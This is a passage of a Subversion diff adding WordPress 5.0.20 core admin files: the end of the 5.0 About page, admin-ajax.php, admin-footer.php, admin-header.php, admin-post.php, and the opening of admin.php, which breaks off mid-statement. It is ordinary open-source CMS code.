+		<div class="under-the-hood feature-section">
+			<div class="col">
+				<h2><?php _e( 'Developer Happiness' ); ?></h2>
+			</div>
+		</div>
+
+		<div class="under-the-hood feature-section three-col">
+			<div class="col">
+				<picture>
+					<source type="image/webp" srcset="https://s.w.org/images/core/5.0/devs/Protect1x.webp 1x, https://s.w.org/images/core/5.0/devs/Protect.webp 2x" />
+					<img src="https://s.w.org/images/core/5.0/devs/Protect1x.jpg" srcset="https://s.w.org/images/core/5.0/devs/Protect1x.jpg 1x, https://s.w.org/images/core/5.0/devs/Protect.jpg 2x" alt="">
+				</picture>
+				<h3><?php _e( 'Protect' ); ?></h3>
+				<p><?php _e( 'Blocks provide a comfortable way for users to change content directly, while also ensuring the content structure cannot be easily disturbed by accidental code edits. This allows the developer to control the output, building polished and semantic markup that is preserved through edits and not easily broken.' ); ?></p>
+			</div>
+			<div class="col">
+				<picture>
+					<source type="image/webp" srcset="https://s.w.org/images/core/5.0/devs/Compose1x.webp 1x, https://s.w.org/images/core/5.0/devs/Compose.webp 2x" />
+					<img src="https://s.w.org/images/core/5.0/devs/Compose1x.jpg" srcset="https://s.w.org/images/core/5.0/devs/Compose1x.jpg 1x, https://s.w.org/images/core/5.0/devs/Compose.jpg 2x" alt="">
+				</picture>
+				<h3><?php _e( 'Compose' ); ?></h3>
+				<p><?php _e( 'Take advantage of a wide collection of APIs and interface components to easily create blocks with intuitive controls for your clients. Utilizing these components not only speeds up development work but also provide a more consistent, usable, and accessible interface to all users.' ); ?></p>
+			</div>
+			<div class="col">
+				<picture>
+					<source type="image/webp" srcset="https://s.w.org/images/core/5.0/devs/Create1x.webp 1x, https://s.w.org/images/core/5.0/devs/Create.webp 2x" />
+					<img src="https://s.w.org/images/core/5.0/devs/Create1x.jpg" srcset="https://s.w.org/images/core/5.0/devs/Create1x.jpg 1x, https://s.w.org/images/core/5.0/devs/Create.jpg 2x" alt="">
+				</picture>
+				<h3><?php _e( 'Create' ); ?></h3>
+				<p><?php _e( 'The new block paradigm opens up a path of exploration and imagination when it comes to solving user needs. With the unified block insertion flow, it&#8217;s easier for your clients and customers to find and use blocks for all types of content. Developers can focus on executing their vision and providing rich editing experiences, rather than fussing with difficult APIs.' ); ?></p>
+			</div>
+		</div>
+
+		<div class="under-the-hood feature-section one-col cta">
+			<div class="col">
+				<a class="button button-primary button-hero" href="<?php echo esc_url( 'https://wordpress.org/gutenberg/handbook/' ); ?>"><?php _e( 'Learn how to get started' ); ?></a>
+			</div>
+		</div>
+
+		<hr />
+
+		<?php if ( ! file_exists( WP_PLUGIN_DIR . '/classic-editor/classic-editor.php' ) ) : ?>
+			<div class="feature-section one-col" id="classic-editor">
+				<div class="col">
+					<h2><?php _e( 'Keep it Classic' ); ?></h2>
+				</div>
+			</div>
+
+			<div class="full-width">
+				<picture>
+					<source type="image/webp" media="(max-width: 782px)" srcset="https://s.w.org/images/core/5.0/classic/Classic%20Mobile1x.webp 1x, https://s.w.org/images/core/5.0/classic/Classic%20Mobile.webp 2x" />
+					<source media="(max-width: 782px)" srcset="https://s.w.org/images/core/5.0/classic/Classic%20Mobile1x.jpg 1x, https://s.w.org/images/core/5.0/classic/Classic%20Mobile.jpg 2x" />
+					<source type="image/webp" srcset="https://s.w.org/images/core/5.0/classic/Classic@1x.webp 1x, https://s.w.org/images/core/5.0/classic/Classic.webp 2x" />
+					<img src="https://s.w.org/images/core/5.0/classic/Classic@1x.jpg" srcset="https://s.w.org/images/core/5.0/classic/Classic@1x.jpg 1x, https://s.w.org/images/core/5.0/header/Classic.jpg 2x" alt="">
+				</picture>
+			</div>
+
+			<div class="feature-section one-col">
+				<div class="col">
+					<p><?php _e( 'Prefer to stick with the familiar Classic Editor? No problem! Support for the Classic Editor plugin will remain in WordPress through 2021.' ); ?></p>
+					<p><?php _e( 'The Classic Editor plugin restores the previous WordPress editor and the Edit Post screen. It lets you keep using plugins that extend it, add old-style meta boxes, or otherwise depend on the previous editor. To install, visit your plugins page and click the &#8220;Install Now&#8221; button next to &#8220;Classic Editor&#8221;. After the plugin finishes installing, click &#8220;Activate&#8221;. That’s it!' ); ?></p>
+					<p><?php _e( 'Note to users of assistive technology: if you experience usability issues with the block editor, we recommend you continue to use the Classic Editor.' ); ?></p>
+					<?php if ( current_user_can( 'install_plugins' ) ) { ?>
+						<div class="col cta">
+							<a class="button button-primary button-hero" href="<?php echo esc_url( wp_nonce_url( self_admin_url( 'plugin-install.php?tab=favorites&user=wordpressdotorg&save=0' ), 'save_wporg_username_' . get_current_user_id() ) ); ?>"><?php _e( 'Install the Classic Editor' ); ?></a>
+						</div>
+					<?php } ?>
+				</div>
+			</div>
+
+			<hr />
+		<?php endif; ?>
+
+		<div class="return-to-dashboard">
+			<?php if ( current_user_can( 'update_core' ) && isset( $_GET['updated'] ) ) : ?>
+				<a href="<?php echo esc_url( self_admin_url( 'update-core.php' ) ); ?>">
+					<?php is_multisite() ? _e( 'Return to Updates' ) : _e( 'Return to Dashboard &rarr; Updates' ); ?>
+				</a> |
+			<?php endif; ?>
+			<a href="<?php echo esc_url( self_admin_url() ); ?>"><?php is_blog_admin() ? _e( 'Go to Dashboard &rarr; Home' ) : _e( 'Go to Dashboard' ); ?></a>
+		</div>
+	</div>
+
+	<script>
+		(function( $ ) {
+			$( function() {
+				var $window = $( window );
+				var $adminbar = $( '#wpadminbar' );
+				var $sections = $( '.floating-header-section' );
+				var offset = 0;
+
+				// Account for Admin bar.
+				if ( $adminbar.length ) {
+					offset += $adminbar.height();
+				}
+
+				function setup() {
+					$sections.each( function( i, section ) {
+						var $section = $( section );
+						// If the title is long, switch the layout
+						var $title = $section.find( 'h2' );
+						if ( $title.innerWidth() > 300 ) {
+							$section.addClass( 'has-long-title' );
+						}
+					} );
+				}
+
+				var adjustScrollPosition = _.throttle( function adjustScrollPosition() {
+					$sections.each( function( i, section ) {
+						var $section = $( section );
+						var $header = $section.find( 'h2' );
+						var width = $header.innerWidth();
+						var height = $header.innerHeight();
+
+						if ( $section.hasClass( 'has-long-title' ) ) {
+							return;
+						}
+
+						var sectionStart = $section.offset().top - offset;
+						var sectionEnd = sectionStart + $section.innerHeight();
+						var scrollPos = $window.scrollTop();
+
+						// If we're scrolled into a section, stick the header
+						if ( scrollPos >= sectionStart && scrollPos < sectionEnd - height ) {
+							$header.css( {
+								position: 'fixed',
+								top: offset + 'px',
+								bottom: 'auto',
+								width: width + 'px'
+							} );
+						// If we're at the end of the section, stick the header to the bottom
+						} else if ( scrollPos >= sectionEnd - height && scrollPos < sectionEnd ) {
+							$header.css( {
+								position: 'absolute',
+								top: 'auto',
+								bottom: 0,
+								width: width + 'px'
+							} );
+						// Unstick the header
+						} else {
+							$header.css( {
+								position: 'static',
+								top: 'auto',
+								bottom: 'auto',
+								width: 'auto'
+							} );
+						}
+					} );
+				}, 100 );
+
+				function enableFixedHeaders() {
+					if ( $window.width() > 782 ) {
+						setup();
+						adjustScrollPosition();
+						$window.on( 'scroll', adjustScrollPosition );
+					} else {
+						$window.off( 'scroll', adjustScrollPosition );
+						$sections.find( '.section-header' )
+							.css( {
+								width: 'auto'
+							} );
+						$sections.find( 'h2' )
+							.css( {
+								position: 'static',
+								top: 'auto',
+								bottom: 'auto',
+								width: 'auto'
+							} );
+					}
+				}
+				$( window ).resize( enableFixedHeaders );
+				enableFixedHeaders();
+			} );
+		})( jQuery );
+	</script>
+
+<?php
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
+
+// These are strings we may use to describe maintenance/security releases, where we aim for no new strings.
+return;
+
+__( 'Maintenance Release' );
+__( 'Maintenance Releases' );
+
+__( 'Security Release' );
+__( 'Security Releases' );
+
+__( 'Maintenance and Security Release' );
+__( 'Maintenance and Security Releases' );
+
+/* translators: %s: WordPress version number */
+__( '<strong>Version %s</strong> addressed one security issue.' );
+/* translators: %s: WordPress version number */
+__( '<strong>Version %s</strong> addressed some security issues.' );
+
+/* translators: 1: WordPress version number, 2: plural number of bugs. */
+_n_noop( '<strong>Version %1$s</strong> addressed %2$s bug.',
+         '<strong>Version %1$s</strong> addressed %2$s bugs.' );
+
+/* translators: 1: WordPress version number, 2: plural number of bugs. Singular security issue. */
+_n_noop( '<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bug.',
+         '<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bugs.' );
+
+/* translators: 1: WordPress version number, 2: plural number of bugs. More than one security issue. */
+_n_noop( '<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bug.',
+         '<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bugs.' );
+
+/* translators: %s: Codex URL */
+__( 'For more information, see <a href="%s">the release notes</a>.' );
+
+/* translators: 1: WordPress version number, 2: Link to update WordPress */
+__( 'Important! Your version of WordPress (%1$s) is no longer supported, you will not receive any security updates for your website. To keep your site secure, please <a href="%2$s">update to the latest version of WordPress</a>.' );
+
+/* translators: 1: WordPress version number, 2: Link to update WordPress */
+__( 'Important! Your version of WordPress (%1$s) will stop receiving security updates in the near future. To keep your site secure, please <a href="%2$s">update to the latest version of WordPress</a>.' );
+
+/* translators: %s: The major version of WordPress for this branch. */
+__( 'This is the final release of WordPress %s' );
+
+/* translators: The localized WordPress download URL. */
+__( 'https://wordpress.org/download/' );
Index: /tags/5.0.20/src/wp-admin/admin-ajax.php
===================================================================
--- /tags/5.0.20/src/wp-admin/admin-ajax.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/admin-ajax.php	(revision 56912)
@@ -0,0 +1,117 @@
+<?php
+/**
+ * WordPress Ajax Process Execution
+ *
+ * @package WordPress
+ * @subpackage Administration
+ *
+ * @link https://codex.wordpress.org/AJAX_in_Plugins
+ */
+
+/**
+ * Executing Ajax process.
+ *
+ * @since 2.1.0
+ */
+define( 'DOING_AJAX', true );
+if ( ! defined( 'WP_ADMIN' ) ) {
+	define( 'WP_ADMIN', true );
+}
+
+/** Load WordPress Bootstrap */
+require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
+
+/** Allow for cross-domain requests (from the front end). */
+send_origin_headers();
+
+// Require an action parameter
+if ( empty( $_REQUEST['action'] ) )
+	wp_die( '0', 400 );
+
+/** Load WordPress Administration APIs */
+require_once( ABSPATH . 'wp-admin/includes/admin.php' );
+
+/** Load Ajax Handlers for WordPress Core */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+@header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );
+@header( 'X-Robots-Tag: noindex' );
+
+send_nosniff_header();
+nocache_headers();
+
+/** This action is documented in wp-admin/admin.php */
+do_action( 'admin_init' );
+
+$core_actions_get = array(
+	'fetch-list', 'ajax-tag-search', 'wp-compression-test', 'imgedit-preview', 'oembed-cache',
+	'autocomplete-user', 'dashboard-widgets', 'logged-in',
+);
+
+$core_actions_post = array(
+	'oembed-cache', 'image-editor', 'delete-comment', 'delete-tag', 'delete-link',
+	'delete-meta', 'delete-post', 'trash-post', 'untrash-post', 'delete-page', 'dim-comment',
+	'add-link-category', 'add-tag', 'get-tagcloud', 'get-comments', 'replyto-comment',
+	'edit-comment', 'add-menu-item', 'add-meta', 'add-user', 'closed-postboxes',
+	'hidden-columns', 'update-welcome-panel', 'menu-get-metabox', 'wp-link-ajax',
+	'menu-locations-save', 'menu-quick-search', 'meta-box-order', 'get-permalink',
+	'sample-permalink', 'inline-save', 'inline-save-tax', 'find_posts', 'widgets-order',
+	'save-widget', 'delete-inactive-widgets', 'set-post-thumbnail', 'date_format', 'time_format',
+	'wp-remove-post-lock', 'dismiss-wp-pointer', 'upload-attachment', 'get-attachment',
+	'query-attachments', 'save-attachment', 'save-attachment-compat', 'send-link-to-editor',
+	'send-attachment-to-editor', 'save-attachment-order', 'heartbeat', 'get-revision-diffs',
+	'save-user-color-scheme', 'update-widget', 'query-themes', 'parse-embed', 'set-attachment-thumbnail',
+	'parse-media-shortcode', 'destroy-sessions', 'install-plugin', 'update-plugin', 'crop-image',
+	'generate-password', 'save-wporg-username', 'delete-plugin', 'search-plugins',
+	'search-install-plugins', 'activate-plugin', 'update-theme', 'delete-theme', 'install-theme',
+	'get-post-thumbnail-html', 'get-community-events', 'edit-theme-plugin-file',
+	'wp-privacy-export-personal-data',
+	'wp-privacy-erase-personal-data',
+);
+
+// Deprecated
+$core_actions_post_deprecated = array( 'wp-fullscreen-save-post', 'press-this-save-post', 'press-this-add-category' );
+$core_actions_post = array_merge( $core_actions_post, $core_actions_post_deprecated );
+
+// Register core Ajax calls.
+if ( ! empty( $_GET['action'] ) && in_array( $_GET['action'], $core_actions_get ) )
+	add_action( 'wp_ajax_' . $_GET['action'], 'wp_ajax_' . str_replace( '-', '_', $_GET['action'] ), 1 );
+
+if ( ! empty( $_POST['action'] ) && in_array( $_POST['action'], $core_actions_post ) )
+	add_action( 'wp_ajax_' . $_POST['action'], 'wp_ajax_' . str_replace( '-', '_', $_POST['action'] ), 1 );
+
+add_action( 'wp_ajax_nopriv_heartbeat', 'wp_ajax_nopriv_heartbeat', 1 );
+
+if ( is_user_logged_in() ) {
+	// If no action is registered, return a Bad Request response.
+	if ( ! has_action( 'wp_ajax_' . $_REQUEST['action'] ) ) {
+		wp_die( '0', 400 );
+	}
+
+	/**
+	 * Fires authenticated Ajax actions for logged-in users.
+	 *
+	 * The dynamic portion of the hook name, `$_REQUEST['action']`,
+	 * refers to the name of the Ajax action callback being fired.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'wp_ajax_' . $_REQUEST['action'] );
+} else {
+	// If no action is registered, return a Bad Request response.
+	if ( ! has_action( 'wp_ajax_nopriv_' . $_REQUEST['action'] ) ) {
+		wp_die( '0', 400 );
+	}
+
+	/**
+	 * Fires non-authenticated Ajax actions for logged-out users.
+	 *
+	 * The dynamic portion of the hook name, `$_REQUEST['action']`,
+	 * refers to the name of the Ajax action callback being fired.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'wp_ajax_nopriv_' . $_REQUEST['action'] );
+}
+// Default status
+wp_die( '0' );
Index: /tags/5.0.20/src/wp-admin/admin-footer.php
===================================================================
--- /tags/5.0.20/src/wp-admin/admin-footer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/admin-footer.php	(revision 56912)
@@ -0,0 +1,112 @@
+<?php
+/**
+ * WordPress Administration Template Footer
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// don't load directly
+if ( !defined('ABSPATH') )
+	die('-1');
+
+/**
+ * @global string $hook_suffix
+ */
+global $hook_suffix;
+?>
+
+<div class="clear"></div></div><!-- wpbody-content -->
+<div class="clear"></div></div><!-- wpbody -->
+<div class="clear"></div></div><!-- wpcontent -->
+
+<div id="wpfooter" role="contentinfo">
+	<?php
+	/**
+	 * Fires after the opening tag for the admin footer.
+	 *
+	 * @since 2.5.0
+	 */
+	do_action( 'in_admin_footer' );
+	?>
+	<p id="footer-left" class="alignleft">
+		<?php
+		$text = sprintf( __( 'Thank you for creating with <a href="%s">WordPress</a>.' ), __( 'https://wordpress.org/' ) );
+		/**
+		 * Filters the "Thank you" text displayed in the admin footer.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $text The content that will be printed.
+		 */
+		echo apply_filters( 'admin_footer_text', '<span id="footer-thankyou">' . $text . '</span>' );
+		?>
+	</p>
+	<p id="footer-upgrade" class="alignright">
+		<?php
+		/**
+		 * Filters the version/update text displayed in the admin footer.
+		 *
+		 * WordPress prints the current version and update information,
+		 * using core_update_footer() at priority 10.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @see core_update_footer()
+		 *
+		 * @param string $content The content that will be printed.
+		 */
+		echo apply_filters( 'update_footer', '' );
+		?>
+	</p>
+	<div class="clear"></div>
+</div>
+<?php
+/**
+ * Prints scripts or data before the default footer scripts.
+ *
+ * @since 1.2.0
+ *
+ * @param string $data The data to print.
+ */
+do_action( 'admin_footer', '' );
+
+/**
+ * Prints scripts and data queued for the footer.
+ *
+ * The dynamic portion of the hook name, `$hook_suffix`,
+ * refers to the global hook suffix of the current page.
+ *
+ * @since 4.6.0
+ */
+do_action( "admin_print_footer_scripts-{$hook_suffix}" );
+
+/**
+ * Prints any scripts and data queued for the footer.
+ *
+ * @since 2.8.0
+ */
+do_action( 'admin_print_footer_scripts' );
+
+/**
+ * Prints scripts or data after the default footer scripts.
+ *
+ * The dynamic portion of the hook name, `$hook_suffix`,
+ * refers to the global hook suffix of the current page.
+ *
+ * @since 2.8.0
+ */
+do_action( "admin_footer-{$hook_suffix}" );
+
+// get_site_option() won't exist when auto upgrading from <= 2.7
+if ( function_exists('get_site_option') ) {
+	if ( false === get_site_option('can_compress_scripts') )
+		compression_test();
+}
+
+?>
+
+<div class="clear"></div></div><!-- wpwrap -->
+<script type="text/javascript">if(typeof wpOnload=='function')wpOnload();</script>
+</body>
+</html>
Index: /tags/5.0.20/src/wp-admin/admin-functions.php
===================================================================
--- /tags/5.0.20/src/wp-admin/admin-functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/admin-functions.php	(revision 56912)
@@ -0,0 +1,15 @@
+<?php
+/**
+ * Administration Functions
+ *
+ * This file is deprecated, use 'wp-admin/includes/admin.php' instead.
+ *
+ * @deprecated 2.5.0
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+_deprecated_file( basename(__FILE__), '2.5.0', 'wp-admin/includes/admin.php' );
+
+/** WordPress Administration API: Includes all Administration functions. */
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
Index: /tags/5.0.20/src/wp-admin/admin-header.php
===================================================================
--- /tags/5.0.20/src/wp-admin/admin-header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/admin-header.php	(revision 56912)
@@ -0,0 +1,275 @@
+<?php
+/**
+ * WordPress Administration Template Header
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+@header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
+if ( ! defined( 'WP_ADMIN' ) )
+	require_once( dirname( __FILE__ ) . '/admin.php' );
+
+/**
+ * In case admin-header.php is included in a function.
+ *
+ * @global string    $title
+ * @global string    $hook_suffix
+ * @global WP_Screen $current_screen
+ * @global WP_Locale $wp_locale
+ * @global string    $pagenow
+ * @global string    $update_title
+ * @global int       $total_update_count
+ * @global string    $parent_file
+ */
+global $title, $hook_suffix, $current_screen, $wp_locale, $pagenow,
+	$update_title, $total_update_count, $parent_file;
+
+// Catch plugins that include admin-header.php before admin.php completes.
+if ( empty( $current_screen ) )
+	set_current_screen();
+
+get_admin_page_title();
+$title = esc_html( strip_tags( $title ) );
+
+if ( is_network_admin() ) {
+	/* translators: Network admin screen title. 1: Network name */
+	$admin_title = sprintf( __( 'Network Admin: %s' ), esc_html( get_network()->site_name ) );
+} elseif ( is_user_admin() ) {
+	/* translators: User dashboard screen title. 1: Network name */
+	$admin_title = sprintf( __( 'User Dashboard: %s' ), esc_html( get_network()->site_name ) );
+} else {
+	$admin_title = get_bloginfo( 'name' );
+}
+
+if ( $admin_title == $title ) {
+	/* translators: Admin screen title. 1: Admin screen name */
+	$admin_title = sprintf( __( '%1$s &#8212; WordPress' ), $title );
+} else {
+	/* translators: Admin screen title. 1: Admin screen name, 2: Network or site name */
+	$admin_title = sprintf( __( '%1$s &lsaquo; %2$s &#8212; WordPress' ), $title, $admin_title );
+}
+
+/**
+ * Filters the title tag content for an admin page.
+ *
+ * @since 3.1.0
+ *
+ * @param string $admin_title The page title, with extra context added.
+ * @param string $title       The original page title.
+ */
+$admin_title = apply_filters( 'admin_title', $admin_title, $title );
+
+wp_user_settings();
+
+_wp_admin_html_begin();
+?>
+<title><?php echo $admin_title; ?></title>
+<?php
+
+wp_enqueue_style( 'colors' );
+wp_enqueue_style( 'ie' );
+wp_enqueue_script('utils');
+wp_enqueue_script( 'svg-painter' );
+
+$admin_body_class = preg_replace('/[^a-z0-9_-]+/i', '-', $hook_suffix);
+?>
+<script type="text/javascript">
+addLoadEvent = function(func){if(typeof jQuery!=='undefined')jQuery(document).ready(func);else if(typeof wpOnload!=='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
+var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>',
+	pagenow = '<?php echo esc_js( $current_screen->id ); ?>',
+	typenow = '<?php echo esc_js( $current_screen->post_type ); ?>',
+	adminpage = '<?php echo esc_js( $admin_body_class ); ?>',
+	thousandsSeparator = '<?php echo esc_js( $wp_locale->number_format['thousands_sep'] ); ?>',
+	decimalPoint = '<?php echo esc_js( $wp_locale->number_format['decimal_point'] ); ?>',
+	isRtl = <?php echo (int) is_rtl(); ?>;
+</script>
+<meta name="viewport" content="width=device-width,initial-scale=1.0">
+<?php
+
+/**
+ * Enqueue scripts for all admin pages.
+ *
+ * @since 2.8.0
+ *
+ * @param string $hook_suffix The current admin page.
+ */
+do_action( 'admin_enqueue_scripts', $hook_suffix );
+
+/**
+ * Fires when styles are printed for a specific admin page based on $hook_suffix.
+ *
+ * @since 2.6.0
+ */
+do_action( "admin_print_styles-{$hook_suffix}" );
+
+/**
+ * Fires when styles are printed for all admin pages.
+ *
+ * @since 2.6.0
+ */
+do_action( 'admin_print_styles' );
+
+/**
+ * Fires when scripts are printed for a specific admin page based on $hook_suffix.
+ *
+ * @since 2.1.0
+ */
+do_action( "admin_print_scripts-{$hook_suffix}" );
+
+/**
+ * Fires when scripts are printed for all admin pages.
+ *
+ * @since 2.1.0
+ */
+do_action( 'admin_print_scripts' );
+
+/**
+ * Fires in head section for a specific admin page.
+ *
+ * The dynamic portion of the hook, `$hook_suffix`, refers to the hook suffix
+ * for the admin page.
+ *
+ * @since 2.1.0
+ */
+do_action( "admin_head-{$hook_suffix}" );
+
+/**
+ * Fires in head section for all admin pages.
+ *
+ * @since 2.1.0
+ */
+do_action( 'admin_head' );
+
+if ( get_user_setting('mfold') == 'f' )
+	$admin_body_class .= ' folded';
+
+if ( !get_user_setting('unfold') )
+	$admin_body_class .= ' auto-fold';
+
+if ( is_admin_bar_showing() )
+	$admin_body_class .= ' admin-bar';
+
+if ( is_rtl() )
+	$admin_body_class .= ' rtl';
+
+if ( $current_screen->post_type )
+	$admin_body_class .= ' post-type-' . $current_screen->post_type;
+
+if ( $current_screen->taxonomy )
+	$admin_body_class .= ' taxonomy-' . $current_screen->taxonomy;
+
+$admin_body_class .= ' branch-' . str_replace( array( '.', ',' ), '-', floatval( get_bloginfo( 'version' ) ) );
+$admin_body_class .= ' version-' . str_replace( '.', '-', preg_replace( '/^([.0-9]+).*/', '$1', get_bloginfo( 'version' ) ) );
+$admin_body_class .= ' admin-color-' . sanitize_html_class( get_user_option( 'admin_color' ), 'fresh' );
+$admin_body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_user_locale() ) ) );
+
+if ( wp_is_mobile() )
+	$admin_body_class .= ' mobile';
+
+if ( is_multisite() )
+	$admin_body_class .= ' multisite';
+
+if ( is_network_admin() )
+	$admin_body_class .= ' network-admin';
+
+$admin_body_class .= ' no-customize-support no-svg';
+
+if ( $current_screen->is_block_editor() ) {
+	// Default to is-fullscreen-mode to avoid jumps in the UI.
+	$admin_body_class .= ' block-editor-page is-fullscreen-mode wp-embed-responsive';
+
+	if ( current_theme_supports( 'editor-styles' ) && current_theme_supports( 'dark-editor-style' ) ) {
+		$admin_body_class .= ' is-dark-theme';
+	}
+}
+
+?>
+</head>
+<?php
+/**
+ * Filters the CSS classes for the body tag in the admin.
+ *
+ * This filter differs from the {@see 'post_class'} and {@see 'body_class'} filters
+ * in two important ways:
+ *
+ * 1. `$classes` is a space-separated string of class names instead of an array.
+ * 2. Not all core admin classes are filterable, notably: wp-admin, wp-core-ui,
+ *    and no-js cannot be removed.
+ *
+ * @since 2.3.0
+ *
+ * @param string $classes Space-separated list of CSS classes.
+ */
+$admin_body_classes = apply_filters( 'admin_body_class', '' );
+?>
+<body class="wp-admin wp-core-ui no-js <?php echo $admin_body_classes . ' ' . $admin_body_class; ?>">
+<script type="text/javascript">
+	document.body.className = document.body.className.replace('no-js','js');
+</script>
+
+<?php
+// Make sure the customize body classes are correct as early as possible.
+if ( current_user_can( 'customize' ) ) {
+	wp_customize_support_script();
+}
+?>
+
+<div id="wpwrap">
+<?php require(ABSPATH . 'wp-admin/menu-header.php'); ?>
+<div id="wpcontent">
+
+<?php
+/**
+ * Fires at the beginning of the content section in an admin page.
+ *
+ * @since 3.0.0
+ */
+do_action( 'in_admin_header' );
+?>
+
+<div id="wpbody" role="main">
+<?php
+unset($title_class, $blog_name, $total_update_count, $update_title);
+
+$current_screen->set_parentage( $parent_file );
+
+?>
+
+<div id="wpbody-content" aria-label="<?php esc_attr_e('Main content'); ?>" tabindex="0">
+<?php
+
+$current_screen->render_screen_meta();
+
+if ( is_network_admin() ) {
+	/**
+	 * Prints network admin screen notices.
+	 *
+	 * @since 3.1.0
+	 */
+	do_action( 'network_admin_notices' );
+} elseif ( is_user_admin() ) {
+	/**
+	 * Prints user admin screen notices.
+	 *
+	 * @since 3.1.0
+	 */
+	do_action( 'user_admin_notices' );
+} else {
+	/**
+	 * Prints admin screen notices.
+	 *
+	 * @since 3.1.0
+	 */
+	do_action( 'admin_notices' );
+}
+
+/**
+ * Prints generic admin screen notices.
+ *
+ * @since 3.1.0
+ */
+do_action( 'all_admin_notices' );
+
+if ( $parent_file == 'options-general.php' )
+	require(ABSPATH . 'wp-admin/options-head.php');
Index: /tags/5.0.20/src/wp-admin/admin-post.php
===================================================================
--- /tags/5.0.20/src/wp-admin/admin-post.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/admin-post.php	(revision 56912)
@@ -0,0 +1,71 @@
+<?php
+/**
+ * WordPress Generic Request (POST/GET) Handler
+ *
+ * Intended for form submission handling in themes and plugins.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** We are located in WordPress Administration Screens */
+if ( ! defined( 'WP_ADMIN' ) ) {
+	define( 'WP_ADMIN', true );
+}
+
+if ( defined('ABSPATH') )
+	require_once(ABSPATH . 'wp-load.php');
+else
+	require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
+
+/** Allow for cross-domain requests (from the front end). */
+send_origin_headers();
+
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+
+nocache_headers();
+
+/** This action is documented in wp-admin/admin.php */
+do_action( 'admin_init' );
+
+$action = empty( $_REQUEST['action'] ) ? '' : $_REQUEST['action'];
+
+if ( ! wp_validate_auth_cookie() ) {
+	if ( empty( $action ) ) {
+		/**
+		 * Fires on a non-authenticated admin post request where no action was supplied.
+		 *
+		 * @since 2.6.0
+		 */
+		do_action( 'admin_post_nopriv' );
+	} else {
+		/**
+		 * Fires on a non-authenticated admin post request for the given action.
+		 *
+		 * The dynamic portion of the hook name, `$action`, refers to the given
+		 * request action.
+		 *
+		 * @since 2.6.0
+		 */
+		do_action( "admin_post_nopriv_{$action}" );
+	}
+} else {
+	if ( empty( $action ) ) {
+		/**
+		 * Fires on an authenticated admin post request where no action was supplied.
+		 *
+		 * @since 2.6.0
+		 */
+		do_action( 'admin_post' );
+	} else {
+		/**
+		 * Fires on an authenticated admin post request for the given action.
+		 *
+		 * The dynamic portion of the hook name, `$action`, refers to the given
+		 * request action.
+		 *
+		 * @since 2.6.0
+		 */
+		do_action( "admin_post_{$action}" );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/admin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/admin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/admin.php	(revision 56912)
@@ -0,0 +1,363 @@
+<?php
+/**
+ * WordPress Administration Bootstrap
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * In WordPress Administration Screens
+ *
+ * @since 2.3.2
+ */
+if ( ! defined( 'WP_ADMIN' ) ) {
+	define( 'WP_ADMIN', true );
+}
+
+if ( ! defined('WP_NETWORK_ADMIN') )
+	define('WP_NETWORK_ADMIN', false);
+
+if ( ! defined('WP_USER_ADMIN') )
+	define('WP_USER_ADMIN', false);
+
+if ( ! WP_NETWORK_ADMIN && ! WP_USER_ADMIN ) {
+	define('WP_BLOG_ADMIN', true);
+}
+
+if ( isset($_GET['import']) && !defined('WP_LOAD_IMPORTERS') )
+	define('WP_LOAD_IMPORTERS', true);
+
+require_once(dirname(dirname(__FILE__)) . '/wp-load.php');
+
+nocache_headers();
+
+if ( get_option('db_upgraded') ) {
+	flush_rewrite_rules();
+	update_option( 'db_upgraded',  false );
+
+	/**
+	 * Fires on the next page load after a successful DB upgrade.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'after_db_upgrade' );
+} elseif ( get_option('db_version') != $wp_db_version && empty($_POST) ) {
+	if ( !is_multisite() ) {
+		wp_redirect( admin_url( 'upgrade.php?_wp_http_referer=' . urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) );
+		exit;
+
+	/**
+	 * Filters whether to attempt to perform the multisite DB upgrade routine.
+	 *
+	 * In single site, the user would be redirected to wp-admin/upgrade.php.
+	 * In multisite, the DB upgrade routine is automatically fired, but only
+	 * when this filter returns true.
+	 *
+	 * If the network is 50 sites or less, it will run every time. Otherwise,
+	 * it will throttle itself to reduce load.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param bool $do_mu_upgrade Whether to perform the Multisite upgrade routine. Default true.
+	 */
+	} elseif ( apply_filters( 'do_mu_upgrade', true ) ) {
+		$c = get_blog_count();
+
+		/*
+		 * If there are 50 or fewer sites, run every time. Otherwise, throttle to reduce load:
+		 * attempt to do no more than threshold value, with some +/- allowed.
+		 */
+		if ( $c <= 50 || ( $c > 50 && mt_rand( 0, (int)( $c / 50 ) ) == 1 ) ) {
